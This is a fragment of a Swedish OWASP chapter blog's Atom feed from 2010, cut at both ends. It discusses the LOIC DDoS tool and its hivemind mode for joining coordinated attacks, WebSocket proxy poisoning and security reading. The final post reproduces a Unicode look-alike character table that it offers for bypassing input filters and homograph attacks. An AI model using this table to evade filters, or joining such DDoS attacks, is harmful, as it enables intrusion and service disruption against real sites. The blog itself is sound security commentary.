href="http://www.th3j35t3r.net/2010/11/30/mondays-raid-search-and-seizure/"&gt;http://www.th3j35t3r.net/2010/11/30/mondays-raid-search-and-seizure/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;... men den sidan har tagits bort och går inte att komma åt via Googles cache heller. Oklart varför.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;Low Orbit Ion Cannon, LOIC (DDoS för)&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Belastningsattackerna &lt;u&gt;för&lt;/u&gt; Wikileaks och Julian Assange (såsom de har tolkats i media i alla fall) har varit traditionella i bemärkelsen att de varit distribuerade, så kallade DDoS. Det moderna med dem har dock varit att de byggt på frivilligt deltagande mha systemet&amp;nbsp;&lt;a href="http://sourceforge.net/projects/loic/"&gt;Low Orbit Ion Cannon, LOIC&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_tONVxa3WGQM/TQOVX8Xn4QI/AAAAAAAAAbM/VHics_dIK-M/s1600/Low_Orbit_Ion_Cannon.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="165" src="http://1.bp.blogspot.com/_tONVxa3WGQM/TQOVX8Xn4QI/AAAAAAAAAbM/VHics_dIK-M/s320/Low_Orbit_Ion_Cannon.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Du kan ställa in din LOIC att använda &lt;i&gt;hivemind&lt;/i&gt; (ungefär flockbeteende) där du upplåter din LOIC till en central administratör och på så sätt kan ingå i distribuerade attacker. Din maskin kommer då att på administratörens begäran skicka en flod HTTP-, TCP- och UDP-anrop till offret och tillsammans blir det för mycket. Gizmondo har en &lt;a href="http://gizmodo.com/5709630/what-is-loic"&gt;bra genomgång av LOIC&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;LOIC finns tillgängligt för Windows, MacOS och Linux. Jag skulle dock råda er att kolla upp vilken version ni laddar ner eftersom det har funnits infekterade varianter ute. Självklart kan LOIC användas för belastnings-/lasttester mot egna sajter så jag ser det inte som ett verktyg skilt från fuzzers och liknande. Men snacket kring LOIC har starka drag av hacktivism. Ett exempel är följande YouTube-reklam för att delta i veckans attacker mot Visa/MasterCard:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;(OBS, ovårdat språk och en uppmaning till hacktivism i en känslig fråga)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="390" width="640"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ZI-w3TUQ8WI&amp;hl=en_US&amp;feature=player_embedded&amp;version=3"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ZI-w3TUQ8WI&amp;hl=en_US&amp;feature=player_embedded&amp;version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="390"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;Vad leder detta till?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Vad leder denna nya tidens hacktivism till? Ptja, det är förstås både en fråga om det öppna, fria, halvanonyma Internet och en fråga om säkerhet. För hur man än ser på Wikileaks och de aktuella DoS-attackerna så har människan gått en lång, krokig väg fram till de rättssamhällen och demokratier som finns i den fysiska världen idag (låt vara alla de skavanker som fortfarande behöver rättas till). Motsvarande rättsäkerhet och demokrati finns ännu inte på nätet. Istället är det en ganska oigenomtränglig kamp mellan stater, storföretag och aktivister. Samtidigt blir mer och mer information tillgänglig på gott och ont (integritet vs &lt;i&gt;information wants to be free&lt;/i&gt;).&lt;br /&gt;&lt;br /&gt;Personligen hoppas jag åtminstone att få slippa "logga in" på Internet i framtiden.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8060733002594113886?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8060733002594113886/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8060733002594113886' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8060733002594113886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8060733002594113886'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/12/modern-dos-for-och-emot-wikileaks.html' title='Modern DoS för och emot Wikileaks'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_tONVxa3WGQM/TQOMLmlxi1I/AAAAAAAAAbI/kkvieza7IjM/s72-c/the_jester_screenshot_twitter_not_ddos.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-7586639927401199242</id><published>2010-12-07T13:17:00.000+01:00</published><updated>2010-12-07T13:17:04.755+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WebSockets'/><category scheme='http://www.blogger.com/atom/ns#' term='html5'/><category scheme='http://www.blogger.com/atom/ns#' term='Safari'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>WebSockets får stryk, stängs av i FF och Safari?</title><content type='html'>Det har uppstått problem med HTML5 WebSockets vilket har fått Mozilla och Apple att droppa det tills vidare, åtminstone i default-inställningarna för Firefox och Safari.&lt;br /&gt;&lt;br /&gt;Mozilla: "&lt;i&gt;Combining the impact of the risk with the fact that the protocol is going to evolve and invalidate any shipped implementation anyhow, we intend to disable by default our Websockets implementation for Firefox 4.0 via a new configuration item.&lt;/i&gt;"&lt;br /&gt;&lt;a href="http://www.ietf.org/mail-archive/web/hybi/current/msg04986.html"&gt;http://www.ietf.org/mail-archive/web/hybi/current/msg04986.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Apple: "&lt;i&gt;Given the security issues identified by the paper from Adam and company, we would even consider disabling WebSocket entirely in future releases until there is a more robust handshake.&lt;/i&gt;"&lt;br /&gt;&lt;a href="http://www.ietf.org/mail-archive/web/hybi/current/msg04782.html"&gt;http://www.ietf.org/mail-archive/web/hybi/current/msg04782.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Problemen beskrivs i artikeln "&lt;i&gt;Transparent Proxies: Threat or Menace?&lt;/i&gt;"&lt;br /&gt;Sammanfattning: &lt;i&gt;Browsers limit how web sites can access the network. Historically, the web platform has limited web sites to HTTP, but HTTP is inefficient for a number of applications—including chat and multiplayer games—for which raw socket access is more appropriate. Java, Flash Player, and HTML5 provide socket APIs to web sites, but we discover and experimentally verify attacks that exploit the interaction between these APIs and transparent proxies. Our attacks poison the proxy’s cache, causing all clients of the proxy to receive malicious content supplied by the attacker. We then propose a revised version of the HTML5 WebSocket handshake that resists these (and other) attacks.&lt;/i&gt;&lt;br /&gt;&lt;a href="http://www.adambarth.com/experimental/websocket.pdf"&gt;http://www.adambarth.com/experimental/websocket.pdf&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-7586639927401199242?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/7586639927401199242/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=7586639927401199242' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7586639927401199242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7586639927401199242'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/12/websockets-far-stryk-stangs-av-i-ff-och.html' title='WebSockets får stryk, stängs av i FF och Safari?'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-3458071163566659281</id><published>2010-12-01T15:19:00.000+01:00</published><updated>2010-12-01T15:19:08.010+01:00</updated><title type='text'>Ny intressant säkerhetsbok</title><content type='html'>Nu är den nya boken ...&lt;br /&gt;&lt;b&gt;&lt;i&gt;Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-'&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;/i&gt;&lt;/b&gt;... här:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.net-security.org/secworld.php?id=10230"&gt;http://www.net-security.org/secworld.php?id=10230&lt;/a&gt; (om boken)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.amazon.com/exec/obidos/ASIN/1597496049/helpnetsecuri-20"&gt;http://www.amazon.com/exec/obidos/ASIN/1597496049/helpnetsecuri-20&lt;/a&gt; (beställning)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Den är på min önskelista för julen och på min att-läsa-lista för mellandagarna. Jag är bekant med författarna och de kan sina grejer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-3458071163566659281?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/3458071163566659281/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=3458071163566659281' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3458071163566659281'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3458071163566659281'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/12/ny-intressant-sakerhetsbok.html' title='Ny intressant säkerhetsbok'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-5809758898301478996</id><published>2010-11-17T22:52:00.001+01:00</published><updated>2010-11-17T22:52:50.590+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='phrack'/><title type='text'>Phrack #67 ute</title><content type='html'>Kulttidningen &lt;i&gt;Phrack Magazine&lt;/i&gt;&amp;nbsp;har precis kommit i nytt nummer. Förra numret kom för 1,5 år sen. Håll till godo, #67:&lt;br /&gt;&lt;a href="http://phrack.org/issues.html?issue=67"&gt;http://phrack.org/issues.html?issue=67&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-5809758898301478996?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/5809758898301478996/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=5809758898301478996' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5809758898301478996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5809758898301478996'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/11/phrack-67-ute.html' title='Phrack #67 ute'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-3773867113647763794</id><published>2010-10-31T22:08:00.001+01:00</published><updated>2010-10-31T22:09:40.601+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='DZone'/><category scheme='http://www.blogger.com/atom/ns#' term='MSDN'/><title type='text'>DZone presenterar OWASP</title><content type='html'>Nu presenteras OWASP och OWASP Top 10 &lt;a href="http://java.dzone.com/articles/owasp-web-security-injection"&gt;i DZones Javalobby&lt;/a&gt;. Oerhört kul att vi når ut till utvecklare! Nu väntar jag bara på att senaste Top 10 presenteras på MSDN också :P.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-3773867113647763794?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/3773867113647763794/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=3773867113647763794' title='1 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3773867113647763794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3773867113647763794'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/10/dzone-presenterar-owasp.html' title='DZone presenterar OWASP'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-6825694105715575334</id><published>2010-10-30T12:19:00.000+02:00</published><updated>2010-10-30T12:19:26.867+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='NoScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet Explorer'/><category scheme='http://www.blogger.com/atom/ns#' term='Safari'/><category scheme='http://www.blogger.com/atom/ns#' term='Chrome'/><category scheme='http://www.blogger.com/atom/ns#' term='webbläsare'/><category scheme='http://www.blogger.com/atom/ns#' term='test'/><category scheme='http://www.blogger.com/atom/ns#' term='it-säkerhet'/><category scheme='http://www.blogger.com/atom/ns#' term='Opera'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Testa säkerheten i din webbläsare</title><content type='html'>Säkerheten i webbapplikationer är som bekant helt beroende av säkerheten i webbläsaren, både läsarens stöd för säkerhetsfunktioner och läsarens avsaknad av säkerhetsbuggar.&lt;br /&gt;&lt;br /&gt;Det finns ett intressant testverktyg på nätet – &lt;a href="http://www.browserscope.org/security/test"&gt;Browserscope Security Test&lt;/a&gt;.&amp;nbsp;Där kan du enkelt testa hur väl din webbläsare stödjer säkerhetsfunktioner såsom &lt;a href="http://owaspsweden.blogspot.com/2010/08/sakrare-ssl-med-strict-transport.html"&gt;Strict Transport Security&lt;/a&gt;&amp;nbsp;och om den skyddar mot kända hack såsom &lt;a href="http://haacked.com/archive/2009/06/25/json-hijacking.aspx"&gt;JSON hijacking&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Det finns också en &lt;a href="http://www.browserscope.org/?category=security"&gt;sammanfattning&lt;/a&gt; av hur olika webbläsare klarar sig:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Bäst just nu är Chrome 6 som godkänt på 15 av 16 test.&lt;/li&gt;&lt;li&gt;Firefox 3.6 får bara 10 av 16 men med den &lt;a href="http://hackademix.net/2010/10/30/x-content-type-options-noscript-and-browserscope/"&gt;senaste versionen av NoScript&lt;/a&gt; så når Firefox 14 av 16.&lt;/li&gt;&lt;li&gt;Safari 5 får 13 av 16.&lt;/li&gt;&lt;li&gt;IE 8 får 10 av 16 men IE 9-betan når 12 av 16.&lt;/li&gt;&lt;li&gt;Opera får 9 av 16.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;/John Wilander, chapter co-leader&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-6825694105715575334?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/6825694105715575334/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=6825694105715575334' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6825694105715575334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6825694105715575334'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/10/testa-sakerheten-i-din-webblasare.html' title='Testa säkerheten i din webbläsare'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-4380590638668839676</id><published>2010-10-29T17:31:00.003+02:00</published><updated>2010-10-29T17:33:01.759+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='unicode'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuskering'/><title type='text'>Lura filtret med Unicode-ekvivalenter</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Gareth Hayes, en av världens vassaste på JavaScript-hacking &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;a href="http://pastebin.com/Y30EWrcF"&gt;publicerade&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt; idag en uppslagningstabell för Unicode-ekvivalenter i JavaScript. Den kan användas för att gå förbi filter, för att skapa icke-alfanumerisk (obfuskerad) JavaScript och kanske till och med för homograf-attacker. Hela tabellen som JavaScript-struktur nedan – bara att börja fuzza.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Kolla också hans översättningsverktyg Hackvertor:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;a href="http://hackvertor.co.uk/hvurl/1o"&gt;http://hackvertor.co.uk/hvurl/1o&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;var lookup={&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;A&lt;/b&gt;":["00C0","00C1","00C2","00C3","00C4","00C5","0100","0102","0104","01CD","01DE","01E0","01FA","0200","0202","0226","023A","0386","0410","04D0","04D2","04D4","1E00","1EA0","1EA2","1EA4","1EA6","1EA8","1EAA","1EAC","1EAE","1EB0","1EB2","1EB4","1EB6","1F08","1F09","1F0A","1F0B","1F0C","1F0D","1F0E","1F0F","2C2D","2C6F","A656","FF21","1D400","1D434","1D468","1D49C","1D4D0","1D504","1D538","1D56C","1D5A0","1D5D4","1D608","1D63C","1D670","1D6E2","1D71C","1D726","1D756","1D790"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;C&lt;/b&gt;":["00C7","0106","0108","010A","010C","0187","023B","1E08","2102","A73E","FF23","1D402","1D436","1D46A","1D49E","1D4D2","1D56E","1D5A2","1D5D6","1D60A","1D63E","1D672"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;E&lt;/b&gt;":["00C8","00C9","00CA","00CB","0112","0114","0116","0118","011A","018E","0204","0206","0228","0246","0388","042D","0464","04EC","1E14","1E16","1E18","1E1A","1E1C","1EB8","1EBA","1EBC","1EBE","1EC0","1EC2","1EC4","1EC6","1F18","1F19","1F1A","1F1B","1F1C","1F1D","2130","FF25","1D404","1D438","1D46C","1D4D4","1D508","1D53C","1D570","1D5A4","1D5D8","1D60C","1D640","1D674","1D6E8","1D720","1D72E","1D75A","1D768","1D794","1D7A2"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;I&lt;/b&gt;":["00CC","00CD","00CE","00CF","0128","012A","012C","012E","0130","0132","0197","01CF","0208","020A","0406","040D","0418","04E2","04E4","1E2C","1E2E","1EC8","1ECA","2110","2C0B","FF29","1D408","1D43C","1D470","1D4D8","1D540","1D574","1D5A8","1D5DC","1D610","1D644","1D678","1D724","1D75E","1D798"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;D&lt;/b&gt;":["00D0","010E","0110","0189","018A","018B","1E0A","1E0C","1E0E","1E10","1E12","A779","FF24","1D403","1D437","1D46B","1D49F","1D4D3","1D507","1D53B","1D56F","1D5A3","1D5D7","1D60B","1D63F","1D673","1D6E5"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;N&lt;/b&gt;":["00D1","0143","0145","0147","014A","019D","01F8","0220","1E44","1E46","1E48","1E4A","2115","A790","A7A4","FF2E","1D40D","1D441","1D475","1D4A9","1D4DD","1D511","1D579","1D5AD","1D5E1","1D615","1D649","1D67D","1D728","1D72B","1D762","1D765","1D79C","1D79F"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;O&lt;/b&gt;":["00D2","00D3","00D4","00D5","00D6","00D8","014C","014E","0150","019F","01A0","01D1","01EA","01EC","01FE","020C","020E","022A","022C","022E","0230","041E","04E6","04E8","04EA","1E4C","1E4E","1E50","1E52","1ECC","1ECE","1ED0","1ED2","1ED4","1ED6","1ED8","1EDA","1EDC","1EDE","1EE0","1EE2","2C9E","A668","A66A","A66C","A74A","A74C","FF2F","1D40E","1D442","1D476","1D4AA","1D4DE","1D512","1D546","1D57A","1D5AE","1D5E2","1D616","1D64A","1D67E","1D6C0","1D723","1D72A","1D72D","1D75D","1D764","1D766","1D797","1D79E","1D7A0"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;U&lt;/b&gt;":["00D9","00DA","00DB","00DC","0168","016A","016C","016E","0170","0172","01AF","01D3","01D5","01D7","01D9","01DB","0214","0216","0244","0423","04AE","04B0","04EE","04F0","04F2","1E72","1E74","1E76","1E78","1E7A","1EE4","1EE6","1EE8","1EEA","1EEC","1EEE","1EF0","FF35","1D414","1D448","1D47C","1D4B0","1D4E4","1D518","1D54C","1D580","1D5B4","1D5E8","1D61C","1D650","1D684"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;Y&lt;/b&gt;":["00DD","0176","0178","01B3","0232","024E","1E8E","1EF2","1EF4","1EF6","1EF8","1EFE","FF39","1D418","1D44C","1D480","1D4B4","1D4E8","1D51C","1D550","1D584","1D5B8","1D5EC","1D620","1D654","1D688","1D6F6","1D730","1D76A","1D7A4"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;G&lt;/b&gt;":["011C","011E","0120","0122","0193","01E4","01E6","01F4","1E20","A77D","A77E","A7A0","FF27","1D406","1D43A","1D46E","1D4A2","1D4D6","1D50A","1D53E","1D572","1D5A6","1D5DA","1D60E","1D642","1D676","1D6E4"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;H&lt;/b&gt;":["0124","0126","021E","0389","1E22","1E24","1E26","1E28","1E2A","1F28","1F29","210B","210D","2C67","A78D","FF28","1D407","1D43B","1D46F","1D4D7","1D573","1D5A7","1D5DB","1D60F","1D643","1D677","1D722","1D75C","1D796"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;J&lt;/b&gt;":["0134","0248","FF2A","1D409","1D43D","1D471","1D4A5","1D4D9","1D50D","1D541","1D575","1D5A9","1D5DD","1D611","1D645","1D679"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"K":["0136","0198","01E8","1E30","1E32","1E34","2C69","A740","A742","A744","A7A2","FF2B","1D40A","1D43E","1D472","1D4A6","1D4DA","1D50E","1D542","1D576","1D5AA","1D5DE","1D612","1D646","1D67A","1D725","1D75F","1D799"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;L&lt;/b&gt;":["0139","013B","013D","013F","0141","023D","1E36","1E38","1E3A","1E3C","1EFA","2112","2C60","2C62","2CD0","A746","A748","A780","FF2C","1D40B","1D43F","1D473","1D4DB","1D50F","1D543","1D577","1D5AB","1D5DF","1D613","1D647","1D67B","1D760"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;R&lt;/b&gt;":["0154","0156","0158","0210","0212","024C","1E58","1E5A","1E5C","1E5E","211B","2C64","A75A","A782","A7A6","FF32","1D411","1D445","1D479","1D4E1","1D57D","1D5B1","1D5E5","1D619","1D64D","1D681"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;S&lt;/b&gt;":["015A","015C","015E","0160","0218","1E60","1E62","1E64","1E66","1E68","2C7E","A784","A7A8","FF33","1D412","1D446","1D47A","1D4AE","1D4E2","1D516","1D54A","1D57E","1D5B2","1D5E6","1D61A","1D64E","1D682"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;T&lt;/b&gt;":["0162","0164","0166","01AC","01AE","021A","023E","1E6A","1E6C","1E6E","1E70","A786","FF34","1D413","1D447","1D47B","1D4AF","1D4E3","1D517","1D54B","1D57F","1D5B3","1D5E7","1D61B","1D64F","1D683","1D6F5","1D72F","1D769","1D7A3"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;W&lt;/b&gt;":["0174","1E80","1E82","1E84","1E86","1E88","2C72","FF37","1D416","1D44A","1D47E","1D4B2","1D4E6","1D51A","1D54E","1D582","1D5B6","1D5EA","1D61E","1D652","1D686"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;Z&lt;/b&gt;":["0179","017B","017D","01B5","0224","1E90","1E92","1E94","2C6B","2C7F","A762","FF3A","1D419","1D44D","1D481","1D4B5","1D4E9","1D585","1D5B9","1D5ED","1D621","1D655","1D689","1D6E7","1D721","1D75B","1D795"],&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"&lt;b&gt;B&lt;/b&gt;":["0181","0182","0243","1E02","1E04","1E06","212C","FF22","1D401","1D435","1D469","1D4D1","1D505","1D539","1D56D","1D5A1","1D5D5","1D609","1D63D","1D671","1D6E3","1D71D","1D757","1D791"],&lt;/span&gt;&lt;br /&gt;&lt;span 